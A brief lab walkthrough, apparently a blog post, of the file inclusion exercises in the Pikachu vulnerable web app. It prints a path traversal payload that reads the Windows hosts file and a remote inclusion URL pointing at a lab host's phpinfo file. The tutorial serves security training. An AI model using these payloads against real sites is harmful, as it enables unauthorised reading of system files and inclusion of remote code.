File inclusion

image-20230815221037960

File inclusion(local)

Just choose one and click submit, and observe after submittingurl

image-20230815221633751

?filename=

We can use relative paths ../../../../../to access the contents of the files we want to see

View the host mapping file of the windows system../../../../Windows/System32/drivers/etc/hosts

image-20230815221826072

File inclusion(remote)

It is nothing more than changing to a remote path and reading remote files.

?filename=http://192.168.80.139/pikachu/test/phpinfo.txt

image-20230815222738209

Guess you like

Origin blog.csdn.net/ZhaoSong_/article/details/132379269